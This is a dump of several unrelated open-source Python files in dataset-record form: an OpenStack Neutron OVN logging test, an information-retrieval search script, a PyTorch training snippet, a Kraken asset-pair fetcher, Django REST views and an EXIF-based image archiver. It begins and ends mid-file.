return mock.Mock(**meter_band_obj_dict)\n\n def _fake_meter_band_stateless(self, **kwargs):\n meter_band_defaults_dict = {\n 'uuid': 'tb_stateless',\n 'rate': int(self.fake_cfg_network_log.rate_limit / 2),\n 'burst_size': int(self.fake_cfg_network_log.burst_limit / 2),\n }\n meter_band_obj_dict = {**meter_band_defaults_dict, **kwargs}\n return mock.Mock(**meter_band_obj_dict)\n\n\nclass TestOVNDriver(TestOVNDriverBase):\n def test_create(self):\n driver = self._log_driver\n self.assertEqual(self.log_plugin, driver._log_plugin)\n self.assertEqual(self.plugin_driver, driver.plugin_driver)\n self.assertEqual(self.plugin_driver.nb_ovn, driver.ovn_nb)\n\n def test_create_meter_name(self):\n driver = self._log_driver\n self.assertEqual(\"acl_log_meter\", driver.meter_name)\n\n test_log_base = neutron_utils.get_rand_name()\n self.fake_cfg_network_log.local_output_log_base = test_log_base\n driver2 = self._log_driver_reinit()\n self.assertEqual(test_log_base, driver2.meter_name)\n\n class _fake_acl():\n def __init__(self, name=None, **acl_dict):\n acl_defaults_dict = {\n \"name\": [name] if name else [],\n \"action\": ovn_const.ACL_ACTION_ALLOW_RELATED,\n \"label\": FAKE_LABEL\n }\n self.__dict__ = {**acl_defaults_dict, **acl_dict}\n\n def _fake_pg_dict(self, **kwargs):\n uuid = uuidutils.generate_uuid()\n pg_defaults_dict = {\n \"name\": ovn_utils.ovn_port_group_name(uuid),\n \"external_ids\": {ovn_const.OVN_SG_EXT_ID_KEY: uuid},\n \"acls\": []\n }\n return {**pg_defaults_dict, **kwargs}\n\n def _fake_pg(self, **kwargs):\n pg_dict = self._fake_pg_dict(**kwargs)\n return mock.Mock(**pg_dict)\n\n def _fake_log_obj(self, **kwargs):\n log_obj_defaults_dict = {\n 'uuid': uuidutils.generate_uuid(),\n 'resource_id': None,\n 'target_id': None,\n 'event': log_const.ALL_EVENT,\n }\n log_obj_obj_dict = {**log_obj_defaults_dict, **kwargs}\n return mock.Mock(**log_obj_obj_dict)\n\n def test__pgs_from_log_obj_pg_all(self):\n expected_pgs = [self._fake_pg()]\n with mock.patch.object(self._log_driver, '_pgs_all',\n return_value=expected_pgs) as mock_pgs_all:\n log_obj = self._fake_log_obj()\n pgs = self._log_driver._pgs_from_log_obj(self.context, log_obj)\n mock_pgs_all.assert_called_once()\n self.assertEqual(expected_pgs, pgs)\n\n def test__pgs_from_log_obj_empty(self):\n with mock.patch.object(self._log_driver, '_pgs_all',\n return_value=[]) as mock_pgs_all:\n self._nb_ovn.lookup.side_effect = idlutils.RowNotFound\n log_obj = self._fake_log_obj(target_id='target_id')\n pgs = self._log_driver._pgs_from_log_obj(self.context, log_obj)\n mock_pgs_all.assert_not_called()\n self._nb_ovn.lookup.assert_called_once_with(\n \"Port_Group\", ovn_const.OVN_DROP_PORT_GROUP_NAME)\n self.fake_get_sgs_attached_to_port.assert_called_once_with(\n self.context, 'target_id')\n self.assertEqual([], pgs)\n\n def test__pgs_from_log_obj_pg_drop(self):\n with mock.patch.object(self._log_driver, '_pgs_all',\n return_value=[]) as mock_pgs_all:\n pg = self._fake_pg()\n\n def _mock_lookup(_pg_table, pg_name):\n if pg_name == ovn_const.OVN_DROP_PORT_GROUP_NAME:\n return pg\n raise idlutils.RowNotFound\n\n self._nb_ovn.lookup.side_effect = _mock_lookup\n log_obj = self._fake_log_obj(resource_id='resource_id')\n pgs = self._log_driver._pgs_from_log_obj(self.context, log_obj)\n mock_pgs_all.assert_not_called()\n self.assertEqual(2, self._nb_ovn.lookup.call_count)\n self.assertEqual([{'acls': [],\n 'external_ids': pg.external_ids,\n 'name': pg.name}], pgs)\n\n def test__pgs_from_log_obj_pg(self):\n with mock.patch.object(self._log_driver, '_pgs_all',\n return_value=[]) as mock_pgs_all:\n pg = self._fake_pg()\n self._nb_ovn.lookup.return_value = pg\n log_obj = self._fake_log_obj(resource_id='resource_id',\n target_id='target_id',\n event=log_const.ACCEPT_EVENT)\n pgs = self._log_driver._pgs_from_log_obj(self.context, log_obj)\n mock_pgs_all.assert_not_called()\n self._nb_ovn.lookup.assert_called_once_with(\n \"Port_Group\", ovn_utils.ovn_port_group_name('resource_id'))\n self.assertEqual([{'acls': [],\n 'external_ids': pg.external_ids,\n 'name': pg.name}], pgs)\n\n def test__pgs_from_log_obj_port(self):\n with mock.patch.object(self._log_driver, '_pgs_all',\n return_value=[]) as mock_pgs_all:\n sg_id = uuidutils.generate_uuid()\n pg_name = ovn_utils.ovn_port_group_name(sg_id)\n pg = self._fake_pg(name=pg_name)\n self._nb_ovn.lookup.return_value = pg\n log_obj = self._fake_log_obj(target_id='target_id',\n event=log_const.ACCEPT_EVENT)\n self.fake_get_sgs_attached_to_port.return_value = [sg_id]\n pgs = self._log_driver._pgs_from_log_obj(self.context, log_obj)\n mock_pgs_all.assert_not_called()\n self._nb_ovn.lookup.assert_called_once_with(\"Port_Group\", pg_name)\n self.fake_get_sgs_attached_to_port.assert_called_once_with(\n self.context, 'target_id')\n self.assertEqual([{'acls': [],\n 'external_ids': pg.external_ids,\n 'name': pg.name}], pgs)\n\n @mock.patch.object(ovn_driver.LOG, 'info')\n def test__remove_acls_log(self, m_info):\n pg_dict = self._fake_pg_dict(acls=['acl1', 'acl2'])\n self._log_driver._remove_acls_log([pg_dict], self._nb_ovn.transaction)\n info_args, _info_kwargs = m_info.call_args_list[0]\n self.assertIn('Cleared %d, Not found %d (out of %d visited) ACLs',\n info_args[0])\n self._nb_ovn.lookup.assert_has_calls([\n mock.call('ACL', 'acl1', default=None),\n mock.call('ACL', 'acl2', default=None)])\n self.assertEqual(len(pg_dict[\"acls\"]), info_args[1])\n self.assertEqual(len(pg_dict[\"acls\"]) - 2, info_args[2])\n self.assertEqual(len(pg_dict[\"acls\"]), info_args[3])\n self.assertEqual(len(pg_dict[\"acls\"]),\n self._nb_ovn.db_set.call_count)\n self.assertEqual(len(pg_dict[\"acls\"]),\n self._nb_ovn.db_remove.call_count)\n\n @mock.patch.object(ovn_driver.LOG, 'info')\n def test__remove_acls_log_missing_acls(self, m_info):\n pg_dict = self._fake_pg_dict(acls=['acl1', 'acl2', 'acl3'])\n\n def _mock_lookup(_pg_table, acl_uuid, default):\n if acl_uuid == 'acl3':\n return None\n return self._fake_acl()\n\n self._nb_ovn.lookup.side_effect = _mock_lookup\n self._log_driver._remove_acls_log([pg_dict], self._nb_ovn.transaction)\n info_args, _info_kwargs = m_info.call_args_list[0]\n self.assertEqual(len(pg_dict[\"acls\"]) - 1, info_args[1])\n self.assertEqual(len(pg_dict[\"acls\"]) - 2, info_args[2])\n self.assertEqual(len(pg_dict[\"acls\"]), info_args[3])\n self.assertEqual(len(pg_dict[\"acls\"]) - 1,\n self._nb_ovn.db_set.call_count)\n\n # This test is enforcing the use of if_exists so that we don't get\n # unexpected errors while doing parallel operations like erasing log\n # objects and security groups\n @mock.patch.object(ovn_driver.LOG, 'info')\n def test__remove_acls_log_only_if_exists(self, m_info):\n pg_dict = self._fake_pg_dict(acls=['acl1', 'acl2', 'acl3'])\n\n def _only_if_exists(_pg_table, acl_uuid, col, val, if_exists):\n self.assertTrue(if_exists)\n\n self._nb_ovn.db_remove.side_effect = _only_if_exists\n self._log_driver._remove_acls_log([pg_dict], self._nb_ovn.transaction)\n\n @mock.patch.object(ovn_driver.LOG, 'info')\n def test__remove_acls_log_with_log_name(self, m_info):\n pg_dict = self._fake_pg_dict(acls=['acl1', 'acl2', 'acl3', 'acl4'])\n log_name = 'test_obj_name'\n used_name = 'test_used_name'\n\n def _mock_lookup(_pg_table, acl_uuid, default):\n if acl_uuid == 'acl2':\n return self._fake_acl(name=used_name)\n return self._fake_acl(name=log_name)\n\n self._nb_ovn.lookup.side_effect = _mock_lookup\n self._log_driver._remove_acls_log([pg_dict], self._nb_ovn.transaction,\n log_name)\n info_args, _info_kwargs = m_info.call_args_list[0]\n self.assertIn('Cleared %d, Not found %d (out of %d visited) ACLs',\n info_args[0])\n self.assertIn('for network log {}'.format(log_name), info_args[0])\n self.assertEqual(len(pg_dict[\"acls\"]) - 1, info_args[1])\n self.assertEqual(len(pg_dict[\"acls\"]) - 4, info_args[2])\n self.assertEqual(len(pg_dict[\"acls\"]), info_args[3])\n self.assertEqual(len(pg_dict[\"acls\"]) - 1,\n self._nb_ovn.db_set.call_count)\n\n @mock.patch.object(ovn_driver.LOG, 'info')\n @mock.patch.object(sg_obj.SecurityGroup, 'get_sg_by_id')\n def test__set_acls_log(self, get_sg, m_info):\n pg_dict = self._fake_pg_dict(acls=['acl1', 'acl2', 'acl3', 'acl4'])\n log_name = 'test_obj_name'\n used_name = 'test_used_name'\n\n def _mock_lookup(_pg_table, acl_uuid):\n if acl_uuid == 'acl3':\n return self._fake_acl()\n return self._fake_acl(name=used_name)\n\n sg = fake_resources.FakeSecurityGroup.create_one_security_group(\n attrs={'stateful': True})\n get_sg.return_value = sg\n self._nb_ovn.lookup.side_effect = _mock_lookup\n actions_enabled = self._log_driver._acl_actions_enabled(\n self._fake_log_obj(event=log_const.ALL_EVENT))\n self._log_driver._set_acls_log([pg_dict], self.context,\n self._nb_ovn.transaction,\n actions_enabled, log_name)\n info_args, _info_kwargs = m_info.call_args_list[0]\n self.assertIn('Set %d (out of %d visited) ACLs for network log %s',\n info_args[0])\n self.assertEqual(1, info_args[1])\n self.assertEqual(len(pg_dict[\"acls\"]), info_args[2])\n self.assertEqual(log_name, info_args[3])\n self.assertEqual(1, self._nb_ovn.db_set.call_count)\n","repo_name":"openstack/neutron","sub_path":"neutron/tests/unit/services/logapi/drivers/ovn/test_driver.py","file_name":"test_driver.py","file_ext":"py","file_size_in_byte":14441,"program_lang":"python","lang":"en","doc_type":"code","stars":1353,"dataset":"github-code","pt":"72"} +{"seq_id":"35090379496","text":"#!/usr/bin/python3\nimport re\nimport sys\nimport getopt\nfrom nltk.tokenize import word_tokenize\nfrom nltk.stem import PorterStemmer\nimport time\nimport math\nimport pickle\nimport heapq\n\ndef usage():\n print(\"usage: \" + sys.argv[0] + \" -d dictionary-file -p postings-file -q file-of-queries -o output-file-of-results\")\n\ndef parse_query(query):\n \"\"\"\n Returns a list of word tokens from the input query after stemming and case folding. Only alphanumerical terms in the\n input query are considered.\n\n @param query string representing the query to be processed\n @return list of tokens from the input query after processing\n \"\"\"\n return [PorterStemmer().stem(token.lower()) for token in word_tokenize(query) if token.isalnum()]\n\ndef evaluate(query, dict_file, postings_file):\n \"\"\"\n Evaluate a parsed query by building query vector and calculating cosine scores to return the doc IDs of the top ten\n most relevant documents.\n\n @param query list containing tokens of the parsed query\n @param dict_file input file containing the dictionary stored in the disk\n @param postings_file input file containing the postings lists stored in the disk\n @return list containing doc IDs of the top 10 most relevant documents\n \"\"\"\n with open(dict_file, 'rb') as d:\n # retrieve document lengths and vocabulary\n doc_lengths = pickle.load(d)\n dictionary = pickle.load(d)\n\n N = len(doc_lengths) # N is the total number of documents in corpus\n\n # build query_vector with key: term, value: normalised w_tq of term\n query_vector = build_query_vector(query, dictionary, N)\n\n # calculate scores with key: docID, value: cosine score of document corresponding to docID\n scores = calculate_cosine_scores(query_vector, dictionary, doc_lengths, postings_file)\n\n # return top ten highest scores as a list\n top_scores = heapq.nlargest(min(len(scores), no_of_results), scores.items(), key=lambda i: i[1])\n top_docs = [score[0] for score in top_scores]\n\n return top_docs\n\ndef build_query_vector(query, dictionary, N):\n \"\"\"\n Return normalised tf-idf score for given query in ltc scheme in the form of a dictionary.\n\n @param query list containing tokens of the parsed query\n @param dictionary a dictionary containing the vocabulary, document frequency, and pointer to postings list\n @param N integer representing the total number of documents in the corpus\n @return query vector containing dictionary term as key and normalised w_tq of term as value\n \"\"\"\n query_vector = {} # key: term, value: normalised w_tq of term\n\n # calculate term frequency\n for term in query:\n if term in query_vector:\n query_vector[term] += 1\n else:\n query_vector[term] = 1\n\n # calculate weighted term frequency\n w_tq_running_total = 0 # for calculating query length\n for term in query_vector:\n # get df\n df = dictionary[term][0] if term in dictionary else 0\n\n # calculate idf\n idf = 0 if (df == 0) else math.log((N / df), 10)\n\n # calculate logarithmic term frequency\n tf = query_vector[term]\n ltf = 1 + math.log(tf, 10)\n\n # calculate and store weighted term frequency\n w_tq = ltf * idf\n query_vector[term] = w_tq\n\n # update w_tq running total for calculating query length\n w_tq_running_total += w_tq ** 2\n\n # calculate normalised weighted term frequency\n query_length = math.sqrt(w_tq_running_total)\n for term in query_vector:\n if query_length: # check for zero query length\n query_vector[term] /= query_length\n else:\n query_vector[term] = 0\n\n return query_vector\n\ndef calculate_cosine_scores(query_vector, dictionary, doc_lengths, postings_file):\n \"\"\"\n Return normalised tf-idf score for given query in ltc scheme in the form of a dictionary.\n\n @param query_vector dictionary representing the query vector\n @param dictionary dictionary a dictionary containing the vocabulary, document frequency, and pointer to postings list\n @param doc_lengths list of document lengths for all documents in the corpus\n @param postings_file input file containing the postings lists stored in the disk\n @return dictionary containing document IDs as key and cosine scores as values\n \"\"\"\n scores = {} # key: docID, value: cosine score\n with open(postings_file, 'rb') as p:\n for term in query_vector:\n if term in dictionary:\n pointer = dictionary[term][1]\n p.seek(pointer)\n postings_list = pickle.load(p) # obtain postings list corresponding to term\n p.seek(0) # rewind\n\n for posting in postings_list:\n docID = posting[0]\n\n # calculate weighted term frequency\n tf = posting[1]\n ltf = 1 + math.log(tf, 10)\n\n # update scores\n if docID in scores:\n scores[docID] += ltf * query_vector[term]\n else:\n scores[docID] = ltf * query_vector[term]\n\n # normalise all scores by dividing by document length\n for docID, score in scores.items():\n doc_length = doc_lengths[docID]\n scores[docID] = score / doc_length\n\n return scores\n\ndef run_search(dict_file, postings_file, queries_file, results_file):\n \"\"\"\n using the given dictionary file and postings file, perform searching on the given queries file and output the\n results to a file.\n\n @dict_file input file containing the dictionary stored in the disk\n @postings_file input file containing the postings lists stored in the disk\n @param queries_file input file with each line containing a query to be processed\n @param results_file output file to write the results of the search to\n \"\"\"\n print('running search on the queries...')\n start_time = time.time() # clock the run\n\n # parse and evaluate each query and write results to disk one by one\n with open(queries_file, 'r') as q, open(results_file, 'w') as r:\n queries = q.read().splitlines()\n for query in queries:\n print(\"processing \" + query + \"...\")\n parsed_query = parse_query(query)\n results = evaluate(parsed_query, dict_file, postings_file)\n result_string = \" \".join(str(i) for i in results)\n r.write(result_string + '\\n')\n\n end_time = time.time()\n print('search completed in ' + str(round(end_time - start_time, 2)) + 's')\n\ndictionary_file = postings_file = file_of_queries = output_file_of_results = None\n\ntry:\n opts, args = getopt.getopt(sys.argv[1:], 'd:p:q:o:')\nexcept getopt.GetoptError:\n usage()\n sys.exit(2)\n\nfor o, a in opts:\n if o == '-d':\n dictionary_file = a\n elif o == '-p':\n postings_file = a\n elif o == '-q':\n file_of_queries = a\n elif o == '-o':\n file_of_output = a\n else:\n assert False, \"unhandled option\"\n\nif dictionary_file == None or postings_file == None or file_of_queries == None or file_of_output == None :\n usage()\n sys.exit(2)\n\nno_of_results = 10 # return only top 10 results\nrun_search(dictionary_file, postings_file, file_of_queries, file_of_output)\n","repo_name":"tirameshu/CS3245","sub_path":"Homework #3/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":7321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17426591160","text":"import torch\r\nimport torchvision\r\nfrom torch import nn\r\nfrom torch.nn import Conv2d, MaxPool2d, ReLU, Sequential\r\nfrom torch.utils.data import DataLoader\r\nfrom torch.utils.tensorboard import SummaryWriter\r\n\r\ndataset = torchvision.datasets.CIFAR10(\"../newDataset\", train=False, transform=torchvision.transforms.ToTensor(),\r\n download=True)\r\ndataloader = DataLoader(dataset, batch_size=64)\r\n\r\n\r\nclass aanet(nn.Module):\r\n def __init__(self):\r\n super(aanet, self).__init__()\r\n self.model1 = Sequential(\r\n Conv2d(in_channels=3, out_channels=6, kernel_size=3, stride=2, padding=1),\r\n MaxPool2d(kernel_size=3, ceil_mode=True),\r\n ReLU()\r\n )\r\n\r\n def forward(self, x):\r\n x = self.model1(x)\r\n return x\r\n\r\n\r\nloss = nn.CrossEntropyLoss()\r\nNet = aanet()\r\noptim = torch.optim.SGD(Net.parameters(), lr=0.01)\r\nfor epoch in range(20):\r\n for data in dataloader:\r\n imgs, targets = data\r\n output = Net(imgs)\r\n result_loss = loss(output, targets)\r\n result_loss.backward()\r\n optim.step()\r\n# 保存网络模型及路径,需要访问到模型的情况\r\ntorch.save(Net, \"Net.pth\")\r\n# 加载模型\r\nmodel = torch.load(\"Net.pth\")\r\n# 保存方式2 保存成字典 推荐使用\r\ntorch.save(Net.state_dict(), \"Net.pth\")\r\n# 加载\r\nmodel.load_state_dict(torch.load(\"Net.pth\"))\r\n","repo_name":"chen-2426/pytorch_practise","sub_path":"nn_module.py","file_name":"nn_module.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"72954844713","text":"#! usr/bin/env python3\r\nimport requests\r\n\r\nPATH = \"C:\\Bard\\KRAKEN\\AssetPairs\"\r\nPAIRS = []\r\n\r\nresp = requests.get('https://api.kraken.com/0/public/AssetPairs')\r\nJsonResp = resp.json()\r\n\r\nassets = JsonResp['result']\r\n\r\nfor a in assets:\r\n\tbase = assets[a]['base']\r\n\tquote = assets[a]['quote']\r\n\tpair = base + quote\r\n\torder_min = assets[a]['ordermin']\r\n\tPAIRSTRING = pair + \" = { \" + \"'base':\" + \"'\" + base + \"'\" + \", \" + \"'quote':\" + \"'\" + quote + \"'\" + \", \" + \"'order_min':\" + \"'\" + order_min + \"'\" + \", \" + \"'pair':\" + \"'\" + pair + \"'\" + \" } \"\r\n\tif \"1\" not in pair and \".\" not in pair:\r\n\t\tPAIRS.append(PAIRSTRING + '\\n')\r\n\r\nfin = open(\"AssetPairs\", \"w\")\r\nfin.writelines(PAIRS)\r\nfin.close()\r\nexit(0)\r\n","repo_name":"Bvaladez/bardedKraken","sub_path":"scripts/getKrakenPairs.py","file_name":"getKrakenPairs.py","file_ext":"py","file_size_in_byte":700,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"31844668353","text":"from django.shortcuts import render, get_object_or_404\r\nfrom .models import Category, Product, Clients\r\nfrom django.http import HttpResponse\r\nfrom django.views.decorators.csrf import csrf_exempt\r\nfrom .serializers import ClientsSerializer\r\nfrom rest_framework import status\r\nfrom rest_framework.renderers import JSONRenderer\r\nfrom rest_framework.parsers import JSONParser\r\n\r\nclass JSONResponse(HttpResponse):\r\n def __init__(self, data, **kwargs):\r\n content = JSONRenderer().render(data)\r\n kwargs['content_type'] = 'application/json'\r\n super(JSONResponse, self).__init__(content, **kwargs)\r\n\r\n@csrf_exempt\r\ndef clients_list(request):\r\n if request.method == 'GET':\r\n clients = Clients.objects.all()\r\n clients_serializer = ClientsSerializer(clients, many=True)\r\n return JSONResponse(clients_serializer.data)\r\n\r\n elif request.method == 'POST':\r\n client_data = JSONParser().parse(request)\r\n clients_serializer = ClientsSerializer(data=client_data)\r\n if clients_serializer.is_valid():\r\n clients_serializer.save()\r\n return JSONResponse(clients_serializer.data, \\\r\n status=status.HTTP_201_CREATED)\r\n return JSONResponse(clients_serializer.errors, \\\r\n status=status.HTTP_400_BAD_REQUEST)\r\n\r\n@csrf_exempt\r\ndef clients_CRUD(request, pk):\r\n try:\r\n client = Clients.objects.get(pk=pk)\r\n except Clients.DoesNotExist:\r\n return HttpResponse(status=status.HTTP_404_NOT_FOUND)\r\n\r\n if request.method == 'GET':\r\n clients_serializer = ClientsSerializer(client)\r\n return JSONResponse(clients_serializer.data)\r\n\r\n elif request.method == 'PUT':\r\n client_data = JSONParser().parse(request)\r\n clients_serializer = ClientsSerializer(client, data=client_data)\r\n if clients_serializer.is_valid():\r\n clients_serializer.save()\r\n return JSONResponse(clients_serializer.data)\r\n return JSONResponse(clients_serializer.errors, \\\r\n status=status.HTTP_400_BAD_REQUEST)\r\n\r\n elif request.method == 'DELETE':\r\n client.delete()\r\n return HttpResponse(status=status.HTTP_204_NO_CONTENT)\r\n\r\n\r\n\r\n\r\n\r\n\r\ndef product_list(request, category_slug=None):\r\n category = None\r\n categories = Category.objects.all()\r\n products = Product.objects.filter(available=True)\r\n if category_slug:\r\n category = get_object_or_404(Category, slug=category_slug)\r\n products = products.filter(category=category)\r\n return render(request,\r\n 'shop/product/list.html',\r\n {'category': category,\r\n 'categories': categories,\r\n 'products': products})\r\n\r\n\r\ndef product_detail(request, id, slug):\r\n product = get_object_or_404(Product,\r\n id=id,\r\n slug=slug,\r\n available=True)\r\n return render(request,\r\n 'shop/product/detail.html',\r\n {'product': product})\r\n","repo_name":"renequinones/Django-REST-client-registration","sub_path":"views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13354275568","text":"import argparse\nimport datetime\nimport glob\nimport logging\nimport os\nimport shutil\nimport sys\n\nfrom PIL import Image\n\n\ndef main(args_in=sys.argv[1:]):\n args = parse_args(args_in)\n setup_logging(args_in, args)\n images_source = find_images(args)\n images_source = filter_images_by_image_size(images_source, args.filterByImageSize)\n\n for idx_image, image_source in enumerate(images_source):\n timestamp = get_timestamp(image_source)\n image_target = get_image_target(\n args, image_source, timestamp, idx_image, len(images_source)\n )\n if image_target is not None:\n image_target = check_duplicate(\n args, image_source, image_target, idx_image, len(images_source)\n )\n if image_target is not None:\n image_target = add_suffix(image_target)\n add_image_to_archive(\n args, image_source, image_target, idx_image, len(images_source)\n )\n\n logging.info(\"Finished!\")\n sys.exit(0)\n\n\ndef parse_args(args_in):\n \"\"\"Parsing of input arguments.\"\"\"\n\n def path_to_folder(input_string):\n path = input_string\n if not os.path.isdir(path):\n msg = 'Folder \"{}\" not found!'.format(input_string)\n raise argparse.ArgumentTypeError(msg)\n return path\n\n parser = argparse.ArgumentParser(\n formatter_class=argparse.ArgumentDefaultsHelpFormatter\n )\n parser._action_groups.pop()\n required = parser.add_argument_group(\"required arguments\")\n optional = parser.add_argument_group(\"optional arguments\")\n required.add_argument(\n \"-i\",\n \"--imageFolder\",\n help=\"Path to input folder with images to archive.\",\n dest=\"imageFolder\",\n required=True,\n type=path_to_folder,\n )\n required.add_argument(\n \"-a\",\n \"--imageArchive\",\n help=\"Path to output folder with image archive.\",\n dest=\"imageArchive\",\n required=True,\n type=path_to_folder,\n )\n optional.add_argument(\n \"-e\",\n \"--imageExtensions\",\n help='Extensions of images to archive separated by a single space, e.g. \"jpg jpeg\".',\n dest=\"imageExtensions\",\n required=False,\n default=[\"jpg\", \"jpeg\"],\n nargs=\"+\",\n type=str,\n )\n optional.add_argument(\n \"-m\",\n \"--mode\",\n help=\"Move or copy image files to archive?\",\n dest=\"mode\",\n required=False,\n default=\"copy\",\n choices=[\"copy\", \"move\"],\n )\n optional.add_argument(\n \"-fs\",\n \"--filterByImageSize\",\n help=\"Archive only images with a specific image size. The image size must be specified as \"\n 'two integer numbers separated by a single space, i.e. \"num1 num2\". The orientation of the '\n \"images (portrait or landscape) is not considered by this filter, i.e. images with size \"\n \"num1-by-num2 or num2-by-num1 are archived.\",\n dest=\"filterByImageSize\",\n required=False,\n nargs=2,\n default=[0, 0],\n type=int,\n )\n optional.add_argument(\n \"-d\",\n \"--addDuplicates\",\n help='Add duplicates to a subfolder \"duplicates\" in image archive?',\n dest=\"addDuplicates\",\n required=False,\n action=\"store_true\",\n )\n optional.add_argument(\n \"-n\",\n \"--addNoExif\",\n help='Add images with no exif information to a subfolder \"no_exif\" in \\\n image archive?',\n dest=\"addNoExif\",\n required=False,\n action=\"store_true\",\n )\n optional.add_argument(\n \"-c\",\n \"--confirm\",\n help=\"Confirm each operation before execution?\",\n dest=\"confirm\",\n required=False,\n action=\"store_true\",\n )\n args = parser.parse_args(args_in)\n\n if args.imageFolder == args.imageArchive:\n print('Error: Same paths provided for \"imageFolder\" and \"imageArchive\"!')\n sys.exit(1)\n\n if any(size < 0 for size in args.filterByImageSize):\n print(\"Error: Image size values must be positive!\")\n sys.exit(1)\n\n return args\n\n\ndef setup_logging(args_in, args):\n \"\"\"Set up and start logger.\"\"\"\n output_dir = os.path.join(args.imageArchive, \"logs\")\n os.makedirs(output_dir, exist_ok=True)\n now = datetime.datetime.now()\n file = \"log_\" + now.strftime(\"%Y-%m-%d_%H-%M-%S\") + \".txt\"\n path_to_log = os.path.join(output_dir, file)\n\n # Create logger\n logger = logging.getLogger()\n logger.setLevel(logging.INFO)\n\n # Create file handler\n fh = logging.FileHandler(path_to_log, mode=\"w\")\n\n # Create console handler\n ch = logging.StreamHandler(sys.stdout)\n\n # Create formatter and add it to the handlers\n formatter = logging.Formatter(\"%(asctime)s|%(levelname)s: %(message)s\")\n fh.setFormatter(formatter)\n ch.setFormatter(formatter)\n\n # Add the handlers to the logger\n logger.addHandler(fh)\n logger.addHandler(ch)\n\n # Start and report input arguments\n logging.info(\"Arguments: \" + \" \".join(args_in))\n\n\ndef find_images(args):\n \"\"\"Find all images recursively.\"\"\"\n images_source = []\n for ext in args.imageExtensions:\n images_to_add = glob.glob(\n os.path.join(args.imageFolder, \"**/*.\" + ext), recursive=True\n )\n if images_to_add:\n images_source.extend(images_to_add)\n if not images_source:\n logging.warning('No images found in \"{}\"!'.format(args.imageFolder))\n sys.exit(0)\n return images_source\n\n\ndef filter_images_by_image_size(images_source, image_size):\n \"\"\"Keep only images with specified image size.\"\"\"\n\n if all(\n size > 0 for size in image_size\n ): # if image_size is not [0, 0] (default value)\n images_source_filtered = []\n for image_source in images_source:\n width, height = Image.open(image_source).size\n if sorted([width, height]) == sorted(image_size):\n images_source_filtered.append(image_source)\n else:\n images_source_filtered = images_source\n\n if len(images_source_filtered) == 0:\n logging.warning(\"No images remaining after filtering images by image size!\")\n sys.exit(0)\n\n return images_source_filtered\n\n\ndef get_timestamp(image):\n \"\"\"Get timestamp of an image from exif data.\"\"\"\n # DateTimeOriginal (36867), SubsecTimeOriginal (37521):\n # date and time when images was captured\n # DateTimeDigitized (36868), SubsecTimeOriginal (37522):\n # date and time of when images was digitized, e.g. scanning of an image\n # DateTime (306), SubsecTime (37520):\n # date and time of when image file was created or last edited\n exif_tags = [(36867, 37521), (36868, 37522), (306, 37520)]\n exif = read_exif(image)\n if exif is not None:\n for tag in exif_tags:\n datetime_exif = exif.get(tag[0])\n subseconds_exif = (\n int(exif.get(tag[1], 0)) / 1000\n ) # subseconds are milliseconds\n if datetime_exif is not None: # stop if timestamp was found in exif tag\n break\n if datetime_exif is None:\n return None\n else:\n timestamp = datetime.datetime.strptime(\n datetime_exif, \"%Y:%m:%d %H:%M:%S\"\n ) + datetime.timedelta(0, subseconds_exif)\n return timestamp\n else: # image has no exif data\n return None\n\n\ndef read_exif(image):\n \"\"\"Read exif data from image.\"\"\"\n try:\n img = Image.open(image)\n except IOError:\n logging.error('\"{}\" can not be opened as image!'.format(image))\n sys.exit(1)\n get_exif = getattr(img, \"_getexif\", None)\n if callable(\n get_exif\n ): # if instance 'img' has method 'get_exif' (e.g. not true for png files)\n exif = img._getexif()\n else:\n exif = None\n return exif\n\n\ndef get_image_target(args, image_source, timestamp, idx_image, num_images):\n \"\"\"Get target filename of image in image archive.\"\"\"\n if timestamp is not None:\n year = timestamp.strftime(\"%Y\")\n month = timestamp.strftime(\"%m\")\n file = timestamp.strftime(\"%Y_%m_%d_%H_%M_%S.%f\")[\n :-3\n ] # %f gives microseconds, but we only want milliseconds\n ext = os.path.splitext(image_source)[1]\n image_target = os.path.join(args.imageArchive, year, month, file + ext.lower())\n else:\n if args.addNoExif:\n image_target = os.path.join(\n args.imageArchive, \"no_exif_data\", os.path.basename(image_source)\n )\n else:\n logging.warning(\n 'Image {} of {}: skip \"{}\" due to missing exif data!'.format(\n idx_image + 1, num_images, image_source\n )\n )\n image_target = None\n return image_target\n\n\ndef check_duplicate(args, image_source, image_target, idx_image, num_images):\n \"\"\"Check if a duplicate image exists already in image archive and alter image_target if necessary.\"\"\"\n if os.path.isdir(os.path.dirname(image_target)):\n files_to_check = [\n name\n for name in os.listdir(os.path.dirname(image_target))\n if name.startswith(os.path.splitext(os.path.basename(image_target))[0])\n ]\n for file in files_to_check:\n if isduplicate(\n image_source, os.path.join(os.path.dirname(image_target), file)\n ):\n if args.addDuplicates:\n image_target = os.path.join(\n args.imageArchive,\n \"duplicate_images\",\n os.path.basename(image_target),\n )\n else:\n logging.warning(\n 'Image {} of {}: skip \"{}\" as it is a duplicate of \"{}\"!'.format(\n idx_image + 1,\n num_images,\n image_source,\n os.path.join(os.path.dirname(image_target), file),\n )\n )\n image_target = None\n return image_target\n return image_target\n\n\ndef isduplicate(image1, image2):\n \"\"\"Check if two image files are identical.\"\"\"\n return open(image1, \"rb\").read() == open(image2, \"rb\").read()\n\n\ndef add_suffix(image_target):\n \"\"\"Adds suffix to image_target if a file with the same path already exists.\"\"\"\n ext = os.path.splitext(image_target)[1]\n image_target_orig = image_target\n i_suffix = 1\n while os.path.exists(image_target):\n image_target = image_target_orig.replace(ext, \"_{:02d}\".format(i_suffix) + ext)\n i_suffix += 1\n return image_target\n\n\ndef add_image_to_archive(args, image_source, image_target, idx_image, num_images):\n \"\"\"Adds image to image archive.\"\"\"\n logging.info(\n 'Image {} of {}: {} \"{}\" to \"{}\"'.format(\n idx_image + 1, num_images, args.mode, image_source, image_target\n )\n )\n if args.confirm:\n confirm = input(\n '{} \"{}\" to \"{}\"? (y/n) '.format(args.mode, image_source, image_target)\n )\n if confirm == \"n\":\n return\n os.makedirs(os.path.dirname(image_target), exist_ok=True)\n getattr(shutil, args.mode)(image_source, image_target)\n\n\nif __name__ == 